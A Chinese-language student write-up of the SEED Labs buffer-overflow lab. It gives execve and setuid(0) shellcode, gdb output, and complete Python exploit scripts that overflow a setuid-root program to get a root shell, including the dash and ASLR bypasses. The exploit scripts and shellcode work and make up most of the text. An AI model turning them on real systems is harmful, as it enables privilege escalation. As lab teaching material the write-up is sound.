SEEDlab—缓冲区溢出漏洞
环境设置
关闭反制措施
地址空间布局随机化
地址空间布局随机化:Linux操作系统的使用随机的地址来设置堆栈的起始地址,使得攻击者很难猜测出确切的堆栈起始地址。
使用命令sudo sysctl -w kernel.randomize_va_space=0
来关闭地址空间布局随机化。
配置/bin/sh
zsh:Zsh(Z-shell)是一款用于交互式使用的shell,也可以作为脚本解释器来使用。其包含了bash,ksh,tcsh等其他shell中许多优秀功能,也拥有诸多自身特色。
由于/bin/sh
的符号链接指向/bin/dash
,而/bin/dash
有一种安全机制,我们需要将/bin/sh
链接到我们安装的/bin/zsh
上。
使用命令:
sudo ln -sf /bin/zsh /bin/sh
Task1:熟悉shellcode
C语言版本的shellcode
#include <stdio.h>
int main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
编译并设置所有者为root:
gcc cshellcode.c -o cshellcode
sudo chown root cshellcode
sudo chmod 4755 cshellcode
./cshellcode
发现成功进入了root shell。
32bit shellcode
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument
; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument
; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s system call number
int 0x80
这段汇编代码通过将execve()
函数的参数依次压入栈中,并通过ebx
、ecx
、edx
三个寄存器向execve()
传递参数,当我们将al
的值设为0x0b
,并执行int 0x80
时,就会执行execve
系统调用。
64bit shellcode
xor rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()'s system call number
syscall
调用shellcode
在shellcode文件夹中,已经帮我们写好了Makefile文件,如下所示:
all:
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
setuid:
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
clean:
rm -f a32.out a64.out *.o
使用命令make all
,会编译c源代码,生成a32.out
和a64.out
,执行发现会进入seed权限的shell
使用命令make setuid
,会编译c源代码,并将两个可执行文件设置为setuid文件,执行后发现进入root权限的shell
Task2:理解漏洞程序
源码解释
在code目录下有一个stack.c
,如下所示:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
*/
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
void dummy_function(char *str);
int bof(char *str)
{
char buffer[BUF_SIZE];
// The following statement has a buffer overflow problem
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
if (!badfile) {
perror("Opening badfile"); exit(1);
}
int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
char dummy_buffer[1000];
memset(dummy_buffer, 0, 1000);
bof(str);
}
- 该程序定义了一个常量
BUF_SIZE=100
,意味着缓冲区的大小为100 strcpy()
函数没有边界检查功能,因此如果传入的str
的大小超过缓冲区大小就会造成缓冲区溢出- 在main函数里,会从badfile文件中读取一个输入,并将输入传入缓冲区
编译
在编译时我们需要使用-fno-stack-protector
和-z execstack
参数关闭 StackGuard 和不可执行栈的保护机制,这些已经写到Makefile中了,只需make
即可。
Task3:对 32-bit 程序实施攻击 (Level 1)
确定地址
在使用gcc编译时加入-g
参数,可以将调试信息加入到二进制文件中,我们使用gdb
对二进制文件进行调试。
- 首先我们使用
b bof
在bof()
函数处下断点 - 然后使用
run
命令运行程序到断点处,如下图所示:
我们可以看到汇编代码部分,下面详细解释:
=> 0x565562ad <bof>: endbr32
0x565562b1 <bof+4>: push ebp
0x565562b2 <bof+5>: mov ebp,esp
0x565562b4 <bof+7>: push ebx
0x565562b5 <bof+8>: sub esp,0x84
ebp:ebp(Extended Base Pointer)是x86架构中的一个寄存器,通常用于函数调用中的栈帧管理。它的主要用途是在程序执行过程中充当基址指针,具体来说,EBP在函数调用时保存了调用者的栈帧基址,并被用来创建当前函数的栈帧。
esp:esp(Extended Stack Pointer)是x86架构中的一个寄存器,用于指向当前栈顶的位置。它是栈指针寄存器,用于管理栈的操作,特别是在函数调用和返回时对栈进行操作。
可以发现esp
的值还没赋给ebp
,因此此时我们获取的值是函数调用者的地址。
使用p $ebp
打印 ebp 寄存器的地址:
gdb-peda$ p $ebp
$1 = (void *) 0xffffcf88
而我们想获得bof()
函数的基址,需要先让程序执行到0x565562b2 <bof+5>: mov ebp,esp
这步之后ebp
中存储的地址才是bof()
函数的基址。
使用next
命令进行单步调试,此时再使用p $ebp
打印 ebp 寄存器的地址,才是bof()
函数的基址。
gdb-peda$ p $ebp
$2 = (void *) 0xffffcb78
此时再使用p &buffer
来获取缓冲区的起始地址
gdb-peda$ p &buffer
$3 = (char (*)[120]) 0xffffcaf8
生成shellcode
我们需要将前面提到的32bit的shellcode转为机器码,如下所示:
\x31\xc0 // xor eax,eax
\x50 // push eax
\x68\x2f\x2f\x73\x68 // push 0x68732f2f ("//sh")
\x68\x2f\x62\x69\x6e // push 0x6e69622f ("/bin")
\x89\xe3 // mov ebx,esp
\x50 // push eax
\x53 // push ebx
\x89\xe1 // mov ecx,esp
\x31\xd2 // xor edx,edx
\x31\xc0 // xor eax,eax
\xb0\x0b // mov al,0xb
\xcd\x80 // int 0x80
所以shellcode就可以写为:
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
布置shellcode
为了实现缓冲区溢出攻击,我们需要精心设计shellcode的位置以及覆盖原有函数的地址,使shellcode可以执行并返回。
我们选择在离返回地址较近的地方来布置我们的shellcode,由于content的长度为517,我们的shellcode长度为27,所以我们选择在450位置写入shellcode
# Put the shellcode somewhere in the payload
start = 450 # Change this number
content[start:start + len(shellcode)] = shellcode
覆盖返回地址
- 首先要计算我们布置的shellcode的地址,将这个作为返回地址:
$$ ret=&buffer(缓冲区起始地址)+start(shellcode在缓冲区里的位置) $$
- 然后我们需要将这个返回地址写入溢出的某个位置,使其正好覆盖
bof()
函数的返回地址,如下:
+-----------------+
| retaddr |
+-----------------+
| 4bit |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
&buffer-->+-----------------+
不难计算出,bof函数的返回地址在缓冲区中的偏移offset: $$ offset=$ebp-&buffer+4 $$
编写exp
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 450 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcaf8+start # Change this number
offset = 0xffffcb78-0xffffcaf8+4 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
执行我们的exp,并执行写入shellcode后的程序:
攻击成功,获得了root shell。
Task4:在不知道缓冲区大小的情况下实施攻击 (Level 2)
在不知道缓冲区大小的情况下,我们假设你知道缓冲区大小的范围是 100∼200 字节,所以我们可以将buffer的前204位置全部设置为ret的地址,这样只要发生缓冲区溢出,且溢出可以覆盖返回地址,我们就可以成功进行攻击。
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode
使用gdb调试,找到函数的起始地址和缓冲区的起始地址:
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb88
gdb-peda$ p &buffer
$2 = (char (*)[180]) 0xffffcacc
编写exp:
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcacc+start # Change this number
#ret = 0x55555555522e
offset = 0xffffcb88-0xffffcacc+4 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + L] = (ret).to_bytes(L,byteorder='little') *(204//4) #将前204位全部填充ret
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
执行exp,并执行写入shellcode后的可执行文件stack-L2
发现成功进入root shell,并且只需要一次,无需爆破。
Task5:对 64-bit 程序实施攻击 (Level 3)
由于程序是通过strcpy()
将badfile读取到buffer里的,因此我们的shellcode中不能出现\x00
,因为这样会导致strcpy截断,同时写入的返回地址的前两位总是00
,由于地址在栈中是以小端序存储的,因此我们只要将返回地址写到badfile的最后位置就行,这样就可以读取到完整的shellcode。
首先使用gdb调试获取缓冲区起始地址和函数返回地址:
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddf0 --> 0x9090909090909090
RBX: 0x555555555360 (<__libc_csu_init>: endbr64)
RCX: 0x7fffffffddc0 --> 0x0
RDX: 0x7fffffffddc0 --> 0x0
RSI: 0x0
RDI: 0x7fffffffddf0 --> 0x9090909090909090
RBP: 0x7fffffffd9c0 --> 0x7fffffffddd0 --> 0x7fffffffe010 --> 0x0
RSP: 0x7fffffffd8c0 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f
RIP: 0x55555555523f (<bof+22>: mov rdx,QWORD PTR [rbp-0xf8])
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (<_start>: endbr64)
R13: 0x7fffffffe100 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555522e <bof+5>: mov rbp,rsp
0x555555555231 <bof+8>: sub rsp,0x100
0x555555555238 <bof+15>: mov QWORD PTR [rbp-0xf8],rdi
=> 0x55555555523f <bof+22>: mov rdx,QWORD PTR [rbp-0xf8]
0x555555555246 <bof+29>: lea rax,[rbp-0xf0]
0x55555555524d <bof+36>: mov rsi,rdx
0x555555555250 <bof+39>: mov rdi,rax
0x555555555253 <bof+42>: call 0x5555555550c0 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8c0 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f
0008| 0x7fffffffd8c8 --> 0x7fffffffddf0 --> 0x9090909090909090
0016| 0x7fffffffd8d0 --> 0x7fffffffd964 --> 0x0
0024| 0x7fffffffd8d8 --> 0x7fffffffd9c0 --> 0x7fffffffddd0 --> 0x7fffffffe010 --> 0x0
0032| 0x7fffffffd8e0 --> 0x7ffff7fcf7f0 --> 0x675f646c74725f00 ('')
0040| 0x7fffffffd8e8 --> 0x7ffff7fb6520 --> 0x7ffff7ffe190 --> 0x555555554000 --> 0x10102464c457f
0048| 0x7fffffffd8f0 --> 0x3
0056| 0x7fffffffd8f8 --> 0x7ffff7fcf4c0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20 strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd9c0
gdb-peda$ p &buffer
$2 = (char (*)[240]) 0x7fffffffd8d0
计算偏移:
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x7fffffffd9c0-0x7fffffffd8d0+8)
248
因此我们需要把shellcode写到248之前,我们从100开始写,如下所示:
# Put the shellcode somewhere in the payload
start = 100 # Change this number
content[start:start + len(shellcode)] = shellcode
调试查看栈中数据:
使用命令stack 400
发现正是我们写入的shellcode和shellcode的返回地址,而且是以小端序存储的,这证明了没有被\x00
截断,成功写入了缓冲区。
完整exp如下:
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 100 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd8d0+start # Change this number
offset = 0x7fffffffd9c0-0x7fffffffd8d0+8 # Change this number
L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
攻击效果:
攻击成功,拿到root shell。
Task6:对 64-bit 程序实施攻击 (Level 4)
本任务的缓冲区大小只有10。
先使用gdb找到缓冲区起始地址和函数返回地址
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd9c0
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffd9b6
由于缓冲区太小,放不下我们的shellcode,于是我们可以利用main函数里的char str[517]
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
if (!badfile) {
perror("Opening badfile"); exit(1);
}
int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
在main函数下断点,然后当str
入栈时,查看shellcode的地址,如下所示:
发现了str上的shellcode的返回地址(0x7fffffffde58+4=0x7fffffffde5c)
于是将ret
的值设为0x7fffffffde5c
完整exp如下:
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2" # xor rdx, rdx ; rdx = 0 (NULL)
"\x52" # push rdx ; push NULL (for argv/envp)
"\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # movabs rax, 0x68732f2f6e69622f ; "/bin//sh"
"\x50" # push rax ; push "/bin//sh" on the stack
"\x48\x89\xe7" # mov rdi, rsp ; rdi = pointer to "/bin//sh"
"\x52" # push rdx ; push NULL (argv[0] = NULL)
"\x57" # push rdi ; push "/bin//sh" address for argv[0]
"\x48\x89\xe6" # mov rsi, rsp ; rsi = pointer to argv
"\x48\x31\xc0" # xor rax, rax ; rax = 0 (clear rax)
"\xb0\x3b" # mov al, 0x3b ; syscall number for execve (0x3b)
"\x0f\x05" # syscall ; invoke syscall
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 108 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffde5c # Change this number
#ret = 0x55555555522e
offset = 0x7fffffffd9c0-0x7fffffffd9b6+8 # Change this number
L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
执行结果:
Task7:攻破 dash 的保护机制
设置/bin/dash
我们首先改回去,让/bin/sh
指向/bin/dash
:
$ sudo ln -sf /bin/dash /bin/sh
测试shellcode
输入make setuid
将call_shellcode.c
编译为root所有的二进制文件,不调用setuid(0)
的时候:
可以发现由于/bin/dash
的防护机制,执行shellcode后并没有进入 root shell。
现在修改call_shellcode.c
,调用setuid(0)
:
发现成功获取 root shell。
对32bit和64bit程序实施攻击
bin/dash
通过检测当前进程的euid
是不是和uid
相同,如果检测到不同,就会主动放弃特权,导致我们拿不到root shell,我们先使用之前32位的exp试试:
发现确实没有拿到root shell。
于是我们修改我们的shellcode,在前面加入以下汇编的机器码:
; Invoke setuid(0): 32-bit
xor ebx, ebx ; ebx = 0: setuid()'s argument
xor eax, eax
mov al, 0xd5 ; setuid()'s system call number
int 0x80
; Invoke setuid(0): 64-bit
xor rdi, rdi ; rdi = 0: setuid()'s argument
xor rax, rax
mov al, 0x69 ; setuid()'s system call number
syscall
// Binary code for setuid(0)
// 64-bit: "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit: "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
32bit
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80" #setuid(0)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb08+start # Change this number
offset = 0xffffcb88-0xffffcb08+4 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
写入并执行,成功拿到root shell:
64bit
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05" #setuid(0)
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 100 # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd8d0+start # Change this number
offset = 0x7fffffffd9c0-0x7fffffffd8d0+8 # Change this number
L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
Task8:攻破地址随机化
打开地址随机化:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
使用sh brute-force.sh
,运行暴力破解脚本,不断的运行stack-L1
成功进入root shell。
Task9:测试其他保护机制
打开 StackGuard 保护机制
编译时不使用-fno-stack-protector
参数,重新编译stack-L1
将以下的部分加入Makefile
stackguard:
gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -o stack-L1 stack.c
gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
使用make stackguard
进行编译:
可以发现检测到了栈溢出,终止了程序。
打开不可执行栈保护机制
编译时使用-z noexecstack
参数,使栈上不可执行shellcode
将以下写入makefile:
noexecstack:
gcc -m32 -z noexecstack -o a32.out call_shellcode.c
gcc -z noexecstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
发现程序报错,都无法提权。